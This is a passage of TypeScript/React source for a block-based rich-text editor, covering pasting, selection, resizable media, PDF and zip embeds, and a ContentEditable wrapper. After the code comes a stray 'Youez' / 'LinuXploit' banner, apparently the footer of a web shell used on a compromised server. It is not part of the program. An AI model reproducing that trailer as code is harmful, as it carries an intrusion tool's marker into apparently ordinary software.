            let is_checkbox = text.startsWith('[ ]') ? false : (text.startsWith('[x]') ? true : undefined);
            // let is_img = text.startsWith('[ ]') ? false : (text.startsWith('[x]') ? true : undefined);

            let children = is_toggle ? el?.children[1].children : el.children;

            let tag = is_toggle ? '▼' : ((is_checkbox !== undefined) ? '☐' : el.tagName)

            tag = (tag?.toUpperCase() == 'IMG' ? '🖼' : tag);

            text = text.replace(/^(\[ \])/, "").replace(/^(\[x\])/, "")

            if (tag == '🖼') {
                addChild(undefined, '🖼', { uuid: uuidv4(), url: el?.getAttribute('src') });
            }
            else if (children?.length > 0 || text.length > 0) {

                let _id = addChild(parent_id, tag, text, undefined, true, is_checkbox !== undefined ? { checked: is_checkbox } : undefined)

                for (const child of children) {
                    createFromPaste(child, _id)
                }
            }
        }
    }

    useEffect(() => {
        if (wasPasted && content != '') {
            if (block_ref.current) {
 
                if ((block_ref?.current?.children?.length ?? 0) > 1)
                {
                    for (const child of (block_ref.current.children ?? [])) {
                        createFromPaste(child);
                    }
    
                    deleteBlock(id);
                }
                else
                {
                    updateBlock(id, block_ref.current.textContent)
                }
            }

            setWasPasted(false);
        }


    }, [content, wasPasted])

    const selectStart = useCallback(useThrottle((e) => {
        try {
            if ((window?.getSelection()?.getRangeAt(0)?.toString()?.length ?? 0) > 0) {
                // setContentEditable(false);
                let contains = window?.getSelection()?.containsNode(block_ref.current, ['UL', 'OL'].includes(Type) ? false : true);

                if (contains) {
                    setSelected(s => s.includes(id) ? s : [...s, id]);
                }
            }
            else {
                setSelected([]);
                // setContentEditable(true);
            }
        } catch (error) {
            setSelected([]);
            // setContentEditable(true);
        }
    }, 100),
        [block_ref.current, blocks]
    )

    const previousType = usePrevious(Type);

    useEffect(() => {
        if (initialized) {
            let active = document.activeElement;
            if (active?.classList?.contains('content-editable')) {

                if (Type == 'OL' || Type == 'UL') {
                    let ch = block_ref?.current?.getElementsByTagName('li')?.[0]
                    // ch?.focus();
                    setCaretToEnd(ch);
                }
                else {
                    // block_ref?.current?.focus();
                    setCaretToEnd(block_ref?.current);
                }
            }

        }

        return () => { }
    }, [Type])

    useEffect(() => {
        if (shouldFocus == id) {
            block_ref?.current?.focus();
            setCaretToEnd(block_ref?.current)
            setShouldFocus(null);
        }

    }, [shouldFocus])



    const leaveMouse = (e) => {
        if (e.buttons > 0)
            setContentEditable(false);
    }

    useEffect(() => {

        let observer = new ResizeObserver(function (mutations) {
            setSize({ shiftKey: false });
        });

        if (container_ref.current)
            observer.observe(container_ref.current);

        document.addEventListener('selectionchange', selectStart);
        block_ref?.current?.addEventListener('keydown', onKeyDown);
        block_ref?.current?.addEventListener('mousedown', () => setContentEditable(true));
        block_ref?.current?.addEventListener('mouseleave', leaveMouse);

        return () => {

            document.removeEventListener('selectionchange', selectStart);
            block_ref?.current?.removeEventListener('keydown', onKeyDown);
            block_ref?.current?.removeEventListener('mousedown', () => setContentEditable(true));
            block_ref?.current?.removeEventListener('mouseleave', leaveMouse);
        }
    }, [block_ref?.current, modal, blocks, container_ref?.current, selected])


    const updateThrottle = useDebouncedCallback((e) => {

        setDragging(d => {
            if (d)
                updateBlock(id, content, { width: parseInt(container_ref?.current?.style.width), height: e?.shiftKey ? null : parseInt(container_ref?.current?.style.height) });

            return false;
        });

    }, 300);

    const setSize = (e) => {
        if (Type == "🖼" || Type == 'video' || Type == 'file')
            updateThrottle(e);
    }

    const checkIfHasParent = () => {
        let parent = blocks.find(b => b.id == parent_id);

        if (Type == 'LI' && (!parent || !(['OL', 'UL'].includes(parent.Type))))
            turnInto(id, 'P');
        else if (Type != 'LI' && (parent && (['OL', 'UL'].includes(parent.Type)))) {
            let children = blocks.filter(ch => ch.parent_id == parent.id);
            let index = children.findIndex(c => c.id == id);

            if (index != children.length - 1) {

                let list = addChild(parent.parent_id ?? null, parent.Type, '', id, true);

                for (let i = index + 1; i < children.length; i++) {
                    let to_update = children[i];
                    updateBlock(to_update.id, to_update.content, to_update.options, list);
                }

            }

            updateBlock(id, content, options, parent.parent_id ?? null);
        }
        let file = files?.find(f => f.uuid == (content as any)?.uuid);

        // if (Type == 'file' && file && ['mp4', 'webm', 'mkv', 'avi', 'flv', 'mpeg'].includes(file.extension))
        //     turnInto(id, 'video');
        // else if (Type == 'file' && file && ['png', 'jpg', 'jpeg', 'webp', 'gif'].includes(file.extension))
        //     turnInto(id, '🖼');

    }

    checkIfHasParent();

    const Blk = () => {
        switch ((Type)?.toLowerCase()) {
            case 'h1':
            case 'h2':
            case 'h3':
                return <CE onPaste={onPaste} contentEditable={contenteditable} placeholder="Type '/' for commands" key={`block-${id}`} ref={block_ref as any} onChange={processInput} className={`w-full font-semibold outline-none p-6px rounded-sm hover:hover:hover:bg-gray-500/5  text-${(Type)?.toLowerCase()}`} html={content} tagName={(Type)?.toLowerCase()} />
            case '☐':
                return <div key={`block-${id}`} className="w-full hover:hover:bg-gray-500/5 rounded-sm outline-none p-6px flex gap-12px items-center">
                    <input type='checkbox' name={`cb-${id}`} checked={options?.checked === true} onChange={(e) => updateBlock(id, content, { checked: e.target.checked })} />
                    <CE onPaste={onPaste} contentEditable={contenteditable} placeholder="Type '/' for commands" ref={block_ref} onChange={processInput} className='w-full h-full flex outline-none' html={content} tagName='div' />
                </div>
            case '🖼':
                return (
                    <FileLoad files={files} _content={content} id={id}>
                        <div
                            ref={container_ref}
                            className={`relative resize-x overflow-hidden max-w-full rounded-sm outline-none ${selected?.includes(id) ? 'bg-blue-500' : 'hover:bg-gray-500/5'} p-6px grid grid-cols-1 grid-rows-1`}
                            // style={{ width: 'max-content' }}
                            style={{ width: options?.width ? (options?.width) + "px" : 'auto', height: options?.height ? (options.height) + "px" : 'auto' }}
                            onMouseDown={_ => setDragging(true)}
                            onClick={_ => setSelected(s => s.includes(id) ? s : [...s, id])}
                        >
                            <CE onPaste={onPaste} contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} onChange={processInput} className={`absolute w-full h-full text-right outline-none ring-0`}
                                html="<span>&nbsp;</span>"
                                tagName='div'
                            />
                            <Img src={files?.find(f => f.uuid == (content as any)?.uuid) ?? ((content as any)?.url) ?? content} className="w-full h-full col-start-1 row-start-1 pointer-events-none select-none" />
                        </div>
                    </FileLoad >
                )
            case 'video':
                return (
                    <FileLoad files={files} _content={content} id={id}>
                        <div
                            ref={container_ref}
                            className={`relative resize-x overflow-hidden max-w-full rounded-sm outline-none  p-6px grid grid-cols-1 grid-rows-1 ${selected?.includes(id) ? 'bg-blue-500' : 'hover:bg-gray-500/5'} `}
                            // style={{ width: 'max-content' }}
                            style={{ width: options?.width ? (options?.width) + "px" : 'auto', height: options?.height ? (options.height) + "px" : 'auto' }}
                            onMouseDown={_ => setDragging(true)}
                            onClick={_ => setSelected(s => s.includes(id) ? s : [...s, id])}
                        >
                            <CE contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} onChange={processInput} className={`absolute w-full h-full text-right outline-none ring-0 z-0`}
                                html="<span>&nbsp;</span>"
                                tagName='div'
                            />
                            <video controls src={files?.find(f => f.uuid == (content as any)?.uuid)?.url ?? content} className="w-full h-full col-start-1 row-start-1 z-10 relative" />
                        </div>
                    </FileLoad >
                )
            case 'file': {
                let file = (files?.find(f => f.uuid == (content as any)?.uuid) ?? content as any)
                if ((content as any)?.as == 'embed' && file.extension == 'zip')
                    return (
                        <FileLoad files={files} _content={content} id={id}>
                            <div
                                ref={container_ref}
                                className={`relative resize-x overflow-hidden max-w-full rounded-sm outline-none  p-6px grid grid-cols-1 grid-rows-1 ${selected?.includes(id) ? 'bg-blue-500' : 'hover:bg-gray-500/5'} `}
                                // style={{ width: 'max-content' }}
                                style={{ width: options?.width ? (options?.width) + "px" : 'auto', /* height: options?.height ? (options.height) + "px" : 'auto' */ }}
                                onMouseDown={_ => setDragging(true)}
                                onClick={_ => setSelected(s => s.includes(id) ? s : [...s, id])}
                            >
                                <CE contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} onChange={processInput} className={`absolute w-full h-full text-right outline-none ring-0 z-0`}
                                    html="<span>&nbsp;</span>"
                                    tagName='div'
                                />
                                <EmbedCard {...(files?.find(f => f.uuid == (content as any)?.uuid) ?? content as any)} />
                            </div>
                        </FileLoad >
                    )
                else if ((content as any)?.as == 'pdf' && file.extension == 'pdf')
                    return (
                        <FileLoad files={files} _content={content} id={id}>
                            <div
                                ref={container_ref}
                                className={`relative resize overflow-auto max-w-full rounded-sm outline-none ${selected?.includes(id) ? 'bg-blue-500' : 'hover:bg-gray-500/5'} p-6px grid grid-cols-1 grid-rows-1`}
                                // style={{ width: 'max-content' }}
                                style={{ width: options?.width ? (options?.width) + "px" : 'auto', height: options?.height ? (options.height) + "px" : 'auto' }}
                                onMouseDown={_ => setDragging(true)}
                                onClick={_ => setSelected(s => s.includes(id) ? s : [...s, id])}
                            >
                                <CE contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} onChange={processInput} className={`absolute w-full h-full text-right outline-none ring-0`}
                                    html="<span>&nbsp;</span>"
                                    tagName='div'
                                />
                                <Pdf src={files?.find(f => f.uuid == (content as any)?.uuid)?.url ?? content as any} />
                            </div>
                        </FileLoad>
                    )
                else
                    return (
                        <FileLoad files={files} _content={content} id={id}>
                            <div
                                ref={container_ref}
                                className={`relative flex-grow`}
                                onClick={_ => setSelected(s => s.includes(id) ? s : [...s, id])}
                            >
                                <CE  contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} onChange={processInput} className={`absolute w-full h-full text-right outline-none ring-0`}
                                    // html="<span>&nbsp;</span>"
                                    html=""
                                    tagName='div'
                                />
                                <FileCard {...(files?.find(f => f.uuid == (content as any)?.uuid) ?? content as any)} />
                            </div>
                        </FileLoad>
                    )
            }
            case '▼':
                return (
                    <Toggle block={props} options={options} contentStyles='pl-24px flex flex-col gap-6px' key={`block-${id}`} title={<CE contentEditable={contenteditable} placeholder="Type '/' for commands" ref={block_ref} onChange={processInput} className='w-full h-full flex outline-none' html={content} tagName='div' />} >
                        {children?.map(c => <Block key={`child-${id}-${c.id}`} {...c} contenteditable={contenteditable} />)}
                    </Toggle>
                )
            case 'ul':
                return (
                    <ul ref={block_ref} className='unordered ml-20px flex flex-col gap-6px'>
                        {children?.map(c => <Block key={`child-${id}-${c.id}`} {...c} contenteditable={contenteditable} />)}
                    </ul>
                )
            case 'ol':
                return (
                    <ol ref={block_ref} className='list-decimal ml-20px flex flex-col gap-6px'>
                        {children?.map(c => <Block key={`child-${id}-${c.id}`} {...c} contenteditable={contenteditable} />)}
                    </ol>
                )
            case 'li':
                return <CE onPaste={onPaste} contentEditable={contenteditable} placeholder="Type '/' for commands" key={`block-${id}`} ref={block_ref as any} onChange={processInput} className={`nested w-full  rounded-sm outline-none  p-6px  ${content ? 'hover:hover:bg-gray-500/5' : 'hover:bg-gray-500/5'}`} html={content} tagName={(Type)?.toLowerCase()} />
            default:
                return <CE onPaste={onPaste} contentEditable={contenteditable} ref={block_ref} key={`block-${id}`} placeholder="Type '/' for commands" onChange={processInput} className={`w-full block break-words  rounded-sm outline-none  p-6px  ${content ? 'hover:hover:bg-gray-500/5' : 'hover:hover:bg-gray-500/5'}`} html={content} tagName='p' />
        }
    }

    const { shouldDrag } = useContext(DragContext);

    return (
        <>
           
            <DraggableCard<BlockType> disable={(Type == 'OL' || Type == 'UL')} item={props} keyName='id' className='relative group overflow-visible flex row-container'>
                {
                    !(['UL', 'OL'].includes(Type)) &&
                    <div className={`w-50px flex opacity-0  left-0 pt-6px text-app-gray-999999 group-hover:opacity-100 z-max ${Type == 'LI' && 'mr-20px'}`}>
                        <div className='w-24px h-24px hover:bg-app-gray-E6E6E6 flex items-center justify-center rounded-full cursor-pointer'
                            onClick={() => {
                                switch (Type.toLowerCase()) {
                                    case 'ul':
                                    case 'ol':
                                        break;
                                    case 'li':
                                    case '☐':
                                        addChild(parent_id, Type, '', id);
                                        break;
                                    default:
                                        addChild(parent_id, 'P', '', id);
                                        break;
                                }
                            }}
                        >
                            <Plus size={18} />
                        </div>
                        <div className='w-24px h-24px hover:bg-app-gray-E6E6E6 flex items-center justify-center rounded-full cursor-pointer'
                            onClick={e => {
                                let anchor = document.getElementById('editor-container').getBoundingClientRect();
                                open(MODALS.EDITOR_EDIT, false, { position: { x: e.clientX - anchor.x, y: e.clientY - anchor.y }, block: { ...props } })
                            }}
                            onMouseDown={(e) => { e.preventDefault(); shouldDrag(props); }}
                        >
                            <DotsSixVertical size={18} />
                        </div>
                    </div>
                }
                {Blk()}
            </DraggableCard>
        </>
    )


}

interface FileProps extends _File {
    remove?: boolean
    active?: boolean
}

function EmbedCard(props: FileProps) {
    const { file_name, url, size, human_size, uuid, extension, remove = false, active = false } = props

    const ref = useRef(null);

    return (
        <iframe
            ref={ref}
            className='w-full aspect-video z-50'
            src={`${url.replace('.zip', '')}/index.html`}
            scrolling='no'
            frameBorder="0"
        ></iframe>
    )
}

interface CEProps extends RCEProps {
}

export const CE = React.forwardRef((props: any, ref: React.MutableRefObject<any>) => {
    const { placeholder, ...rest } = props
    const lastHtml = usePrevious(rest.html);

    function stripHtml(html) {
        let doc = new DOMParser().parseFromString(html, 'text/html');
        return doc.body.textContent || "";
    }

    return (
        <>
            {
                (stripHtml(rest.html ?? '')?.length == 0 && placeholder) &&
                <div className={`absolute w-full h-full text-app-gray-999999 min-h-36px z-0 pointer-events-none left-48px whitespace-nowrap ${rest?.className ?? ''} ${rest.tagName == 'li' && 'pl-20px'}`}>{placeholder}</div>
            }
            <ContentEditable
                {...rest}
                disabled={!rest.contentEditable}
                className={`w-full min-h-36px content-editable ${rest?.className ?? ''}`}
                innerRef={ref}
            />
        </>
    )
})

interface EProps {
    name: string
    readOnly?: boolean
    files_options?: {
        files: Array<_File>
        route: string
        data: {
            model_type: string,
            model_id: number
        }
    }
}

export default function Editor(props: EProps) {
    const [preview, setPreview] = useState(false);

    return (
        <EditorContextProvider files_options={props?.files_options}>
            <ModalsProvider>
                <ModalsContext.Consumer>
                    {
                        ({ modal, close }) =>
                            <div id="editor-container"
                                className="relative flex w-full flex-grow sm:pt-0 text-black"
                            >
                                <div className={`${!preview ? 'w-full' : 'w-1/5'}`}>
                                    <EditorSection {...props} />
                                </div>
                                <EditorContext.Consumer>
                                    {
                                        ({ selected }) => <>
                                            {(modal?.modal == MODALS.COMMANDS && !props.readOnly && selected?.length < 2) && <CommandMenu {...modal.data} />}
                                            {(modal?.modal == MODALS.STYLES && !props.readOnly && selected?.length < 2) && <StyleMenu {...modal.data} />}
                                            {(modal?.modal == MODALS.EDITOR_EDIT && !props.readOnly && selected?.length < 2) && <EditMenu {...modal.data} />}
                                        </>
                                    }
                                </EditorContext.Consumer>
                            </div>
                    }
                </ModalsContext.Consumer>
            </ModalsProvider>
        </EditorContextProvider>
    );
}

Youez - 2016 - github.com/yon3zu
LinuXploit